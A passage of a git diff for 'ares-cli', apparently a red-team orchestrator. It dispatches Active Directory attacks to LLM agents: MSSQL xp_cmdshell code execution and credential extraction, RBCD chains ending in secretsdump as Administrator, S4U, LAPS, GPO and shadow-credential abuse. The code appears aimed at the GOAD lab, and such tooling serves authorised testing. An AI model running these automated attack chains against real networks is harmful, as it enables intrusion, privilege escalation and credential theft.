"laps_extract:sweep:contoso.local:svc_admin"); + } +} diff --git a/ares-cli/src/orchestrator/automation/mod.rs b/ares-cli/src/orchestrator/automation/mod.rs index 3768130b..ab062fc9 100644 --- a/ares-cli/src/orchestrator/automation/mod.rs +++ b/ares-cli/src/orchestrator/automation/mod.rs @@ -14,18 +14,25 @@ mod acl; mod adcs; +mod adcs_exploitation; mod bloodhound; mod coercion; mod crack; mod credential_access; mod credential_expansion; +mod credential_reuse; mod delegation; mod gmsa; mod golden_ticket; +mod gpo; +mod laps; mod mssql; +mod mssql_exploitation; +mod rbcd; mod refresh; mod s4u; mod secretsdump; +mod shadow_credentials; mod share_enum; mod shares; mod stall_detection; @@ -35,18 +42,25 @@ mod unconstrained; // Re-export all public task functions at the same paths they had before the split. pub use acl::auto_acl_chain_follow; pub use adcs::auto_adcs_enumeration; +pub use adcs_exploitation::auto_adcs_exploitation; pub use bloodhound::auto_bloodhound; pub use coercion::auto_coercion; pub use crack::auto_crack_dispatch; pub use credential_access::auto_credential_access; pub use credential_expansion::auto_credential_expansion; +pub use credential_reuse::auto_credential_reuse; pub use delegation::auto_delegation_enumeration; pub use gmsa::auto_gmsa_extraction; pub use golden_ticket::auto_golden_ticket; +pub use gpo::auto_gpo_abuse; +pub use laps::auto_laps_extraction; pub use mssql::auto_mssql_detection; +pub use mssql_exploitation::auto_mssql_exploitation; +pub use rbcd::auto_rbcd_exploitation; pub use refresh::state_refresh; pub use s4u::auto_s4u_exploitation; pub use secretsdump::auto_local_admin_secretsdump; +pub use shadow_credentials::auto_shadow_credentials; pub use share_enum::auto_share_enumeration; pub use shares::auto_share_spider; pub use stall_detection::auto_stall_detection; diff --git a/ares-cli/src/orchestrator/automation/mssql.rs b/ares-cli/src/orchestrator/automation/mssql.rs index 9f6fd8d2..7bd6cd14 100644 --- a/ares-cli/src/orchestrator/automation/mssql.rs +++ b/ares-cli/src/orchestrator/automation/mssql.rs @@ -43,6 +43,11 @@ pub async fn auto_mssql_detection( }; for (ip, hostname) in work { + // Check strategy filter before publishing + if !dispatcher.is_technique_allowed("mssql_access") { + continue; + } + let vuln = ares_core::models::VulnerabilityInfo { vuln_id: format!("mssql_{}", ip.replace('.', "_")), vuln_type: "mssql_access".to_string(), @@ -65,12 +70,16 @@ pub async fn auto_mssql_detection( d }, recommended_agent: "lateral".to_string(), - priority: 4, + priority: dispatcher.effective_priority("mssql_access"), }; match dispatcher .state - .publish_vulnerability(&dispatcher.queue, vuln) + .publish_vulnerability_with_strategy( + &dispatcher.queue, + vuln, + Some(&dispatcher.config.strategy), + ) .await { Ok(true) => { diff --git a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs new file mode 100644 index 00000000..26c57182 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs @@ -0,0 +1,283 @@ +//! auto_mssql_exploitation -- follow up MSSQL access with deep exploitation. +//! +//! After mssql_access or mssql_linked_server vulns are EXPLOITED (i.e., the +//! LLM agent connected and confirmed access), this automation dispatches +//! follow-up exploitation: +//! +//! 1. **xp_cmdshell**: Enable and execute commands via MSSQL +//! 2. **IMPERSONATE sa**: Try IMPERSONATE on non-sa users +//! 3. **Credential extraction**: Dump credentials from the host via xp_cmdshell +//! +//! This bridges the gap between "MSSQL access confirmed" and "code execution +//! on the host" which the GOAD lab has several paths through. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; + +/// Dedup key prefix for MSSQL deep exploitation. +const DEDUP_MSSQL_DEEP: &str = "mssql_deep"; + +/// Monitors for exploited MSSQL vulns and dispatches follow-up exploitation. +/// Interval: 30s. +pub async fn auto_mssql_exploitation( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("mssql_access") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + + state + .discovered_vulnerabilities + .values() + .filter_map(|vuln| { + if !is_mssql_deep_candidate(&vuln.vuln_type) { + return None; + } + + // Only follow up on EXPLOITED vulns (confirmed access). + if !state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + return None; + } + + let dedup_key = format!("{DEDUP_MSSQL_DEEP}:{}", vuln.vuln_id); + if state.is_processed(DEDUP_MSSQL_DEEP, &dedup_key) { + return None; + } + + let target_ip = resolve_mssql_target_ip(&vuln.details, &vuln.target); + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + let hostname = vuln + .details + .get("hostname") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + // Find a credential for MSSQL access. + // Prefer creds for the target domain, fall back to any cred. + let credential = state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && !state.is_credential_quarantined(&c.username, &c.domain) + && (domain.is_empty() + || c.domain.to_lowercase() == domain.to_lowercase()) + }) + .or_else(|| { + state.credentials.iter().find(|c| { + !c.password.is_empty() + && !state.is_credential_quarantined(&c.username, &c.domain) + }) + }) + .cloned(); + + if credential.is_none() { + debug!( + vuln_id = %vuln.vuln_id, + "MSSQL deep: no credential available" + ); + return None; + } + + Some(MssqlDeepWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + target_ip, + domain, + hostname, + credential, + }) + }) + .collect() + }; + + for item in work { + let cred = match &item.credential { + Some(c) => c, + None => continue, + }; + + let payload = json!({ + "technique": "mssql_deep_exploitation", + "vuln_type": "mssql_access", + "vuln_id": item.vuln_id, + "target_ip": item.target_ip, + "domain": item.domain, + "hostname": item.hostname, + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + "objectives": [ + "Enable xp_cmdshell and execute whoami to confirm code execution", + "Try EXECUTE AS LOGIN = 'sa' if current user is not sysadmin", + "Extract credentials via xp_cmdshell (e.g., whoami /priv, reg query for autologon)", + "Check for SeImpersonatePrivilege for potato escalation", + "Enumerate linked servers for lateral movement", + ], + }); + + let priority = dispatcher.effective_priority("mssql_access"); + match dispatcher + .throttled_submit("exploit", "lateral", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + target = %item.target_ip, + "MSSQL deep exploitation dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_MSSQL_DEEP, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_MSSQL_DEEP, &item.dedup_key) + .await; + } + Ok(None) => {} + Err(e) => { + warn!(err = %e, vuln_id = %item.vuln_id, "Failed to dispatch MSSQL deep exploitation") + } + } + } + } +} + +struct MssqlDeepWork { + vuln_id: String, + dedup_key: String, + target_ip: String, + domain: String, + hostname: String, + credential: Option, +} + +/// Returns `true` if the given vulnerability type is a candidate for deep +/// MSSQL exploitation (follow-up on confirmed MSSQL access). +pub(crate) fn is_mssql_deep_candidate(vuln_type: &str) -> bool { + let vtype = vuln_type.to_lowercase(); + vtype == "mssql_access" || vtype == "mssql_linked_server" +} + +/// Extract the target IP from vulnerability details, with fallbacks. +pub(crate) fn resolve_mssql_target_ip( + details: &std::collections::HashMap, + fallback: &str, +) -> String { + details + .get("target_ip") + .or_else(|| details.get("target")) + .and_then(|v| v.as_str()) + .unwrap_or(fallback) + .to_string() +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + use std::collections::HashMap; + + fn make_details(pairs: &[(&str, &str)]) -> HashMap { + pairs + .iter() + .map(|(k, v)| (k.to_string(), json!(v))) + .collect() + } + + #[test] + fn test_is_mssql_deep_candidate_positive() { + assert!(is_mssql_deep_candidate("mssql_access")); + assert!(is_mssql_deep_candidate("MSSQL_ACCESS")); + assert!(is_mssql_deep_candidate("mssql_linked_server")); + assert!(is_mssql_deep_candidate("MSSQL_LINKED_SERVER")); + } + + #[test] + fn test_is_mssql_deep_candidate_negative() { + assert!(!is_mssql_deep_candidate("mssql_impersonation")); + assert!(!is_mssql_deep_candidate("rbcd")); + assert!(!is_mssql_deep_candidate("esc1")); + assert!(!is_mssql_deep_candidate("")); + assert!(!is_mssql_deep_candidate("mssql")); + } + + #[test] + fn test_resolve_mssql_target_ip_from_target_ip() { + let details = make_details(&[("target_ip", "192.168.58.20"), ("target", "192.168.58.30")]); + assert_eq!( + resolve_mssql_target_ip(&details, "fallback"), + "192.168.58.20" + ); + } + + #[test] + fn test_resolve_mssql_target_ip_from_target() { + let details = make_details(&[("target", "192.168.58.30")]); + assert_eq!( + resolve_mssql_target_ip(&details, "fallback"), + "192.168.58.30" + ); + } + + #[test] + fn test_resolve_mssql_target_ip_fallback() { + let details = make_details(&[("domain", "contoso.local")]); + assert_eq!( + resolve_mssql_target_ip(&details, "192.168.58.99"), + "192.168.58.99" + ); + } + + #[test] + fn test_resolve_mssql_target_ip_empty_details() { + let details: HashMap = HashMap::new(); + assert_eq!( + resolve_mssql_target_ip(&details, "192.168.58.1"), + "192.168.58.1" + ); + } + + #[test] + fn test_dedup_key_format() { + let vuln_id = "vuln-789"; + let dedup_key = format!("{DEDUP_MSSQL_DEEP}:{vuln_id}"); + assert_eq!(dedup_key, "mssql_deep:vuln-789"); + } +} diff --git a/ares-cli/src/orchestrator/automation/rbcd.rs b/ares-cli/src/orchestrator/automation/rbcd.rs new file mode 100644 index 00000000..03b1add2 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/rbcd.rs @@ -0,0 +1,510 @@ +//! auto_rbcd_exploitation -- exploit GenericAll/GenericWrite on computer objects via RBCD. +//! +//! When a controlled user has GenericAll or GenericWrite on a computer object +//! (e.g., stannis → kingslanding$), this automation dispatches the full RBCD +//! chain: addcomputer → rbcd_write → S4U → secretsdump. +//! +//! This is separate from s4u.rs which handles pre-existing delegation vulns. +//! RBCD vulns are typically discovered via BloodHound edges. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; + +/// Dedup key prefix for RBCD attacks. +const DEDUP_RBCD: &str = "rbcd_exploit"; + +/// Monitors for GenericAll/GenericWrite on computer objects and dispatches RBCD. +/// Interval: 30s. +pub async fn auto_rbcd_exploitation( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("rbcd") { + continue; + } + + { + let state = dispatcher.state.read().await; + if state.has_domain_admin + && state.all_forests_dominated() + && !dispatcher.config.strategy.should_continue_after_da() + { + continue; + } + } + + let work: Vec = { + let state = dispatcher.state.read().await; + + state + .discovered_vulnerabilities + .values() + .filter_map(|vuln| { + // Match vulns where a user has write access on a COMPUTER object. + // These come from BloodHound edges or ACL analysis. + let target_type = vuln.details.get("target_type").and_then(|v| v.as_str()); + if !is_rbcd_candidate(&vuln.vuln_type, target_type) { + return None; + } + + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { + return None; + } + + let dedup_key = format!("{DEDUP_RBCD}:{}", vuln.vuln_id); + if state.is_processed(DEDUP_RBCD, &dedup_key) { + return None; + } + + // Extract source user (who has write access) and target computer + let source_user = vuln + .details + .get("source") + .or_else(|| vuln.details.get("source_user")) + .or_else(|| vuln.details.get("attacker")) + .or_else(|| vuln.details.get("account_name")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string())?; + + let target_computer = vuln + .details + .get("target") + .or_else(|| vuln.details.get("target_computer")) + .or_else(|| vuln.details.get("victim")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string())?; + + let domain = vuln + .details + .get("domain") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(); + + // Find credential for the source user + let credential = state + .credentials + .iter() + .find(|c| { + c.username.to_lowercase() == source_user.to_lowercase() + && (domain.is_empty() + || c.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned(); + + let hash = if credential.is_none() { + state + .hashes + .iter() + .find(|h| { + h.username.to_lowercase() == source_user.to_lowercase() + && h.hash_type.to_uppercase() == "NTLM" + && (domain.is_empty() + || h.domain.to_lowercase() == domain.to_lowercase()) + }) + .cloned() + } else { + None + }; + + if credential.is_none() && hash.is_none() { + debug!( + vuln_id = %vuln.vuln_id, + source = %source_user, + "RBCD skipped: no cred/hash for source user" + ); + return None; + } + + let dc_ip = state + .domain_controllers + .get(&domain.to_lowercase()) + .cloned(); + + // Resolve target computer IP from hosts + let target_ip = resolve_computer_ip( + &target_computer, + state + .hosts + .iter() + .map(|h| (h.hostname.as_str(), h.ip.as_str())), + ); + + Some(RbcdWork { + vuln_id: vuln.vuln_id.clone(), + dedup_key, + source_user, + target_computer, + target_ip, + domain, + dc_ip, + credential, + hash, + }) + }) + .collect() + }; + + for item in work { + let mut payload = json!({ + "technique": "rbcd_attack", + "vuln_type": "rbcd", + "vuln_id": item.vuln_id, + "target_computer": item.target_computer, + "domain": item.domain, + "impersonate": "Administrator", + }); + + if let Some(ref dc) = item.dc_ip { + payload["dc_ip"] = json!(dc); + } + if let Some(ref tip) = item.target_ip { + payload["target_ip"] = json!(tip); + } + + if let Some(ref cred) = item.credential { + payload["username"] = json!(cred.username); + payload["password"] = json!(cred.password); + payload["credential"] = json!({ + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }); + } else if let Some(ref hash) = item.hash { + payload["username"] = json!(hash.username); + payload["hash"] = json!(hash.hash_value); + } + + let priority = dispatcher.effective_priority("rbcd"); + match dispatcher + .throttled_submit("exploit", "privesc", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + source = %item.source_user, + target = %item.target_computer, + "RBCD exploitation dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_RBCD, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_RBCD, &item.dedup_key) + .await; + } + Ok(None) => {} + Err(e) => { + warn!(err = %e, vuln_id = %item.vuln_id, "Failed to dispatch RBCD exploit") + } + } + } + } +} + +struct RbcdWork { + vuln_id: String, + dedup_key: String, + source_user: String, + target_computer: String, + target_ip: Option, + domain: String, + dc_ip: Option, + credential: Option, + hash: Option, +} + +/// Returns `true` if a vulnerability type and optional target_type represent an +/// RBCD attack candidate (computer object with GenericAll/GenericWrite). +pub(crate) fn is_rbcd_candidate(vuln_type: &str, target_type: Option<&str>) -> bool { + let vtype = vuln_type.to_lowercase(); + vtype == "rbcd" + || vtype == "genericall_computer" + || vtype == "genericwrite_computer" + || (matches!(vtype.as_str(), "genericall" | "genericwrite") + && target_type + .is_some_and(|t| t.to_lowercase() == "computer" || t.to_lowercase().ends_with('$'))) +} + +/// Resolve a target computer hostname to an IP from a list of known hosts. +/// Strips trailing `$` from machine account names before matching. +pub(crate) fn resolve_computer_ip<'a>( + target_computer: &str, + hosts: impl Iterator, +) -> Option { + let tc = target_computer + .to_lowercase() + .trim_end_matches('$') + .to_string(); + for (hostname, ip) in hosts { + let h_lower = hostname.to_lowercase(); + if h_lower == tc || h_lower.starts_with(&format!("{tc}.")) { + return Some(ip.to_string()); + } + } + None +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_is_rbcd_candidate_direct_types() { + assert!(is_rbcd_candidate("rbcd", None)); + assert!(is_rbcd_candidate("RBCD", None)); + assert!(is_rbcd_candidate("genericall_computer", None)); + assert!(is_rbcd_candidate("GenericWrite_Computer", None)); + } + + #[test] + fn test_is_rbcd_candidate_with_target_type() { + assert!(is_rbcd_candidate("genericall", Some("Computer"))); + assert!(is_rbcd_candidate("genericwrite", Some("DC01$"))); + assert!(is_rbcd_candidate("GenericAll", Some("computer"))); + } + + #[test] + fn test_is_rbcd_candidate_negative() { + assert!(!is_rbcd_candidate("genericall", None)); + assert!(!is_rbcd_candidate("genericall", Some("User"))); + assert!(!is_rbcd_candidate("genericwrite", Some("Group"))); + assert!(!is_rbcd_candidate("esc1", None)); + assert!(!is_rbcd_candidate("shadow_credentials", Some("Computer"))); + } + + #[test] + fn test_resolve_computer_ip_exact_match() { + let hosts = vec![ + ("dc01", "192.168.58.10"), + ("sql01.contoso.local", "192.168.58.20"), + ]; + let result = resolve_computer_ip("DC01$", hosts.into_iter()); + assert_eq!(result, Some("192.168.58.10".to_string())); + } + + #[test] + fn test_resolve_computer_ip_fqdn_match() { + let hosts = vec![ + ("dc01.contoso.local", "192.168.58.10"), + ("sql01.contoso.local", "192.168.58.20"), + ]; + let result = resolve_computer_ip("dc01$", hosts.into_iter()); + assert_eq!(result, Some("192.168.58.10".to_string())); + } + + #[test] + fn test_resolve_computer_ip_no_match() { + let hosts = vec![("dc01.contoso.local", "192.168.58.10")]; + let result = resolve_computer_ip("dc02$", hosts.into_iter()); + assert!(result.is_none()); + } + + #[test] + fn test_resolve_computer_ip_no_dollar_suffix() { + let hosts = vec![("web01.contoso.local", "192.168.58.30")]; + let result = resolve_computer_ip("web01", hosts.into_iter()); + assert_eq!(result, Some("192.168.58.30".to_string())); + } + + #[test] + fn test_resolve_computer_ip_partial_no_match() { + // "dc01" should not match "dc011.contoso.local" + let hosts = vec![("dc011.contoso.local", "192.168.58.11")]; + let result = resolve_computer_ip("dc01$", hosts.into_iter()); + assert!(result.is_none()); + } + + #[test] + fn test_dedup_key_format() { + let vuln_id = "vuln-123"; + let dedup_key = format!("{DEDUP_RBCD}:{vuln_id}"); + assert_eq!(dedup_key, "rbcd_exploit:vuln-123"); + } + + #[test] + fn test_dedup_key_constant() { + assert_eq!(DEDUP_RBCD, "rbcd_exploit"); + } + + #[test] + fn test_dedup_key_with_uuid_vuln_id() { + let vuln_id = "550e8400-e29b-41d4-a716-446655440000"; + let dedup_key = format!("{DEDUP_RBCD}:{vuln_id}"); + assert_eq!( + dedup_key, + "rbcd_exploit:550e8400-e29b-41d4-a716-446655440000" + ); + } + + #[test] + fn test_resolve_computer_ip_empty_hostname() { + // Hosts with empty hostname should not match anything + let hosts = vec![("", "192.168.58.10")]; + let result = resolve_computer_ip("dc01$", hosts.into_iter()); + assert!(result.is_none()); + } + + #[test] + fn test_resolve_computer_ip_empty_target() { + // Empty target should not match any host + let hosts = vec![("dc01.contoso.local", "192.168.58.10")]; + let result = resolve_computer_ip("", hosts.into_iter()); + assert!(result.is_none()); + } + + #[test] + fn test_resolve_computer_ip_dollar_only_target() { + // A target of just "$" should trim to empty and not match + let hosts = vec![("dc01.contoso.local", "192.168.58.10")]; + let result = resolve_computer_ip("$", hosts.into_iter()); + assert!(result.is_none()); + } + + #[test] + fn test_resolve_computer_ip_case_insensitive() { + let hosts = vec![("DC01.CONTOSO.LOCAL", "192.168.58.10")]; + let result = resolve_computer_ip("dc01", hosts.into_iter()); + assert_eq!(result, Some("192.168.58.10".to_string())); + } + + #[test] + fn test_resolve_computer_ip_multiple_hosts_first_match() { + // When multiple hosts could match, returns the first one + let hosts = vec![ + ("dc01.contoso.local", "192.168.58.10"), + ("dc01.fabrikam.local", "192.168.58.20"), + ]; + let result = resolve_computer_ip("dc01", hosts.into_iter()); + assert_eq!(result, Some("192.168.58.10".to_string())); + } + + #[test] + fn test_resolve_computer_ip_empty_hosts_list() { + let hosts: Vec<(&str, &str)> = vec![]; + let result = resolve_computer_ip("dc01$", hosts.into_iter()); + assert!(result.is_none()); + } + + #[test] + fn test_resolve_computer_ip_machine_account_with_dollar() { + // Verify $ is stripped from machine account names + let hosts = vec![("sql01.contoso.local", "192.168.58.20")]; + let result = resolve_computer_ip("SQL01$", hosts.into_iter()); + assert_eq!(result, Some("192.168.58.20".to_string())); + } + + #[test] + fn test_resolve_computer_ip_fqdn_target_no_match() { + // FQDN target should not match since we only compare short name + // "dc01.contoso.local" trimmed of $ is "dc01.contoso.local" + // which does not equal "dc01" and "dc01" does not start with "dc01.contoso.local." + let hosts = vec![("dc01", "192.168.58.10")]; + let result = resolve_computer_ip("dc01.contoso.local$", hosts.into_iter()); + // tc = "dc01.contoso.local", host "dc01" != "dc01.contoso.local" + // and "dc01" does not start with "dc01.contoso.local." + assert!(result.is_none()); + } + + #[test] + fn test_is_rbcd_candidate_all_vuln_type_strings() { + // Exhaustive test of all recognized RBCD vuln_type values + assert!(is_rbcd_candidate("rbcd", None)); + assert!(is_rbcd_candidate("RBCD", None)); + assert!(is_rbcd_candidate("Rbcd", None)); + assert!(is_rbcd_candidate("genericall_computer", None)); + assert!(is_rbcd_candidate("GenericAll_Computer", None)); + assert!(is_rbcd_candidate("GENERICALL_COMPUTER", None)); + assert!(is_rbcd_candidate("genericwrite_computer", None)); + assert!(is_rbcd_candidate("GenericWrite_Computer", None)); + assert!(is_rbcd_candidate("GENERICWRITE_COMPUTER", None)); + } + + #[test] + fn test_is_rbcd_candidate_generic_with_computer_target() { + // genericall/genericwrite require target_type=Computer to be RBCD candidates + assert!(is_rbcd_candidate("genericall", Some("Computer"))); + assert!(is_rbcd_candidate("genericall", Some("computer"))); + assert!(is_rbcd_candidate("genericall", Some("COMPUTER"))); + assert!(is_rbcd_candidate("genericwrite", Some("Computer"))); + assert!(is_rbcd_candidate("genericwrite", Some("computer"))); + } + + #[test] + fn test_is_rbcd_candidate_generic_with_machine_account_target() { + // Machine accounts ending with $ are treated as computer targets + assert!(is_rbcd_candidate("genericall", Some("DC01$"))); + assert!(is_rbcd_candidate("genericwrite", Some("SQL01$"))); + assert!(is_rbcd_candidate("genericall", Some("web01$"))); + } + + #[test] + fn test_is_rbcd_candidate_generic_without_target_type_rejected() { + // genericall/genericwrite without target_type should NOT be RBCD + assert!(!is_rbcd_candidate("genericall", None)); + assert!(!is_rbcd_candidate("genericwrite", None)); + } + + #[test] + fn test_is_rbcd_candidate_generic_with_non_computer_target() { + // genericall/genericwrite on non-computer targets + assert!(!is_rbcd_candidate("genericall", Some("User"))); + assert!(!is_rbcd_candidate("genericall", Some("Group"))); + assert!(!is_rbcd_candidate("genericwrite", Some("OU"))); + assert!(!is_rbcd_candidate("genericwrite", Some("GPO"))); + assert!(!is_rbcd_candidate("genericall", Some(""))); + } + + #[test] + fn test_is_rbcd_candidate_unrelated_vuln_types() { + // Non-RBCD vuln types should all return false regardless of target_type + let non_rbcd = vec![ + "esc1", + "esc4", + "esc8", + "shadow_credentials", + "constrained_delegation", + "unconstrained_delegation", + "gpo_abuse", + "gpo_write", + "dcsync", + "mssql_impersonation", + "writedacl", + "writeowner", + "", + ]; + for vtype in non_rbcd { + assert!( + !is_rbcd_candidate(vtype, None), + "{vtype:?} should not be RBCD candidate with no target" + ); + assert!( + !is_rbcd_candidate(vtype, Some("Computer")), + "{vtype:?} should not be RBCD candidate even with Computer target" + ); + } + } +} diff --git a/ares-cli/src/orchestrator/automation/s4u.rs b/ares-cli/src/orchestrator/automation/s4u.rs index ee9179dd..379d979c 100644 --- a/ares-cli/src/orchestrator/automation/s4u.rs +++ b/ares-cli/src/orchestrator/automation/s4u.rs @@ -116,9 +116,13 @@ pub async fn auto_s4u_exploitation( let work: Vec = { let state = dispatcher.state.read().await; - // Skip only when ALL forests are dominated — delegation vulns - // in undominated forests must still be exploited after initial DA. - if state.has_domain_admin && state.all_forests_dominated() { + // Skip only when ALL forests are dominated AND strategy says to stop. + // When continue_after_da is true, keep exploiting delegation vulns + // for path diversity even after full domination. + if state.has_domain_admin + && state.all_forests_dominated() + && !dispatcher.config.strategy.should_continue_after_da() + { continue; } @@ -255,6 +259,10 @@ pub async fn auto_s4u_exploitation( } else if let Some(ref hash) = item.hash { payload["hash"] = json!(hash.hash_value); payload["username"] = json!(hash.username); + payload["auth_method"] = json!("hash"); + payload["note"] = json!( + "Use --hashes with the NTLM hash for authentication. Do NOT pass an empty password or impacket will prompt interactively and crash." + ); if let Some(ref aes) = hash.aes_key { payload["aes_key"] = json!(aes); } @@ -353,3 +361,213 @@ fn has_permanent_revocation(result: &ares_core::models::TaskResult) -> bool { fn has_lockout_error(result: &ares_core::models::TaskResult) -> bool { result_matches_patterns(result, LOCKOUT_PATTERNS) } + +#[cfg(test)] +mod tests { + use super::*; + use ares_core::models::TaskResult; + use chrono::Utc; + use serde_json::json; + + fn make_result(result: Option, error: Option) -> TaskResult { + TaskResult { + task_id: "t-test".to_string(), + success: false, + result, + error, + completed_at: Utc::now(), + } + } + + // ─── Constants ────────────────────────────────────────────────────────── + + #[test] + fn test_s4u_failure_cooldown_is_five_minutes() { + assert_eq!(S4U_FAILURE_COOLDOWN, Duration::from_secs(300)); + } + + #[test] + fn test_s4u_max_failures_value() { + assert_eq!(S4U_MAX_FAILURES, 6); + } + + #[test] + fn test_permanent_revocation_patterns_contents() { + assert!(PERMANENT_REVOCATION_PATTERNS.contains(&"STATUS_ACCOUNT_DISABLED")); + assert!(PERMANENT_REVOCATION_PATTERNS.contains(&"KDC_ERR_KEY_EXPIRED")); + assert_eq!(PERMANENT_REVOCATION_PATTERNS.len(), 2); + } + + #[test] + fn test_lockout_patterns_contents() { + assert!(LOCKOUT_PATTERNS.contains(&"KDC_ERR_CLIENT_REVOKED")); + assert!(LOCKOUT_PATTERNS.contains(&"STATUS_ACCOUNT_LOCKED_OUT")); + assert_eq!(LOCKOUT_PATTERNS.len(), 2); + } + + // ─── result_matches_patterns ──────────────────────────────────────────── + + #[test] + fn test_result_matches_patterns_no_result_returns_false() { + let tr = make_result(None, None); + assert!(!result_matches_patterns(&tr, &["STATUS_ACCOUNT_DISABLED"])); + } + + #[test] + fn test_result_matches_patterns_error_field_match() { + let tr = make_result( + Some(json!({})), + Some("Kerberos error: STATUS_ACCOUNT_DISABLED on dc01.contoso.local".to_string()), + ); + assert!(result_matches_patterns(&tr, &["STATUS_ACCOUNT_DISABLED"])); + } + + #[test] + fn test_result_matches_patterns_tool_outputs_match() { + let tr = make_result( + Some(json!({ + "tool_outputs": [ + "getST.py completed", + "Error from KDC: KDC_ERR_CLIENT_REVOKED for svc_sql@contoso.local" + ] + })), + None, + ); + assert!(result_matches_patterns(&tr, &["KDC_ERR_CLIENT_REVOKED"])); + } + + #[test] + fn test_result_matches_patterns_summary_match() { + let tr = make_result( + Some(json!({ + "summary": "S4U attack failed: STATUS_ACCOUNT_LOCKED_OUT for svc_sql$@contoso.local" + })), + None, + ); + assert!(result_matches_patterns(&tr, &["STATUS_ACCOUNT_LOCKED_OUT"])); + } + + #[test] + fn test_result_matches_patterns_output_key_match() { + let tr = make_result( + Some(json!({ + "output": "KDC_ERR_KEY_EXPIRED when requesting TGT for svc_web$@contoso.local" + })), + None, + ); + assert!(result_matches_patterns(&tr, &["KDC_ERR_KEY_EXPIRED"])); + } + + #[test] + fn test_result_matches_patterns_tool_output_key_match() { + let tr = make_result( + Some(json!({ + "tool_output": "STATUS_ACCOUNT_DISABLED: svc_sql@contoso.local disabled in AD" + })), + None, + ); + assert!(result_matches_patterns(&tr, &["STATUS_ACCOUNT_DISABLED"])); + } + + #[test] + fn test_result_matches_patterns_no_match() { + let tr = make_result( + Some(json!({ + "summary": "S4U attack succeeded, got ticket for Administrator@contoso.local", + "tool_outputs": ["getST.py completed successfully"], + "output": "Ticket written to /tmp/admin.ccache" + })), + Some("timeout after 60s".to_string()), + ); + assert!(!result_matches_patterns( + &tr, + &["STATUS_ACCOUNT_DISABLED", "KDC_ERR_KEY_EXPIRED"] + )); + } + + #[test] + fn test_result_matches_patterns_tool_outputs_non_string_ignored() { + // tool_outputs with non-string elements should not panic + let tr = make_result( + Some(json!({ + "tool_outputs": [42, null, true, "KDC_ERR_CLIENT_REVOKED"] + })), + None, + ); + assert!(result_matches_patterns(&tr, &["KDC_ERR_CLIENT_REVOKED"])); + } + + // ─── has_permanent_revocation ─────────────────────────────────────────── + + #[test] + fn test_has_permanent_revocation_status_account_disabled() { + let tr = make_result( + Some(json!({ + "summary": "STATUS_ACCOUNT_DISABLED for svc_sql$@contoso.local" + })), + None, + ); + assert!(has_permanent_revocation(&tr)); + } + + #[test] + fn test_has_permanent_revocation_kdc_err_key_expired() { + let tr = make_result(Some(json!({})), Some("KDC_ERR_KEY_EXPIRED".to_string())); + assert!(has_permanent_revocation(&tr)); + } + + #[test] + fn test_has_permanent_revocation_false_for_lockout() { + let tr = make_result( + Some(json!({ + "summary": "KDC_ERR_CLIENT_REVOKED for svc_sql@contoso.local" + })), + None, + ); + assert!(!has_permanent_revocation(&tr)); + } + + // ─── has_lockout_error ────────────────────────────────────────────────── + + #[test] + fn test_has_lockout_error_kdc_err_client_revoked() { + let tr = make_result( + Some(json!({ + "output": "KDC_ERR_CLIENT_REVOKED when requesting TGT for svc_sql@contoso.local" + })), + None, + ); + assert!(has_lockout_error(&tr)); + } + + #[test] + fn test_has_lockout_error_status_account_locked_out() { + let tr = make_result( + Some(json!({})), + Some("SMB error: STATUS_ACCOUNT_LOCKED_OUT on 192.168.58.10".to_string()), + ); + assert!(has_lockout_error(&tr)); + } + + #[test] + fn test_has_lockout_error_false_for_permanent() { + let tr = make_result( + Some(json!({ + "summary": "STATUS_ACCOUNT_DISABLED for svc_sql$@contoso.local" + })), + None, + ); + assert!(!has_lockout_error(&tr)); + } + + #[test] + fn test_has_lockout_error_false_for_success() { + let tr = make_result( + Some(json!({ + "summary": "S4U attack succeeded, ticket for Administrator@contoso.local" + })), + None, + ); + assert!(!has_lockout_error(&tr)); + } +} diff --git a/ares-cli/src/orchestrator/automation/secretsdump.rs 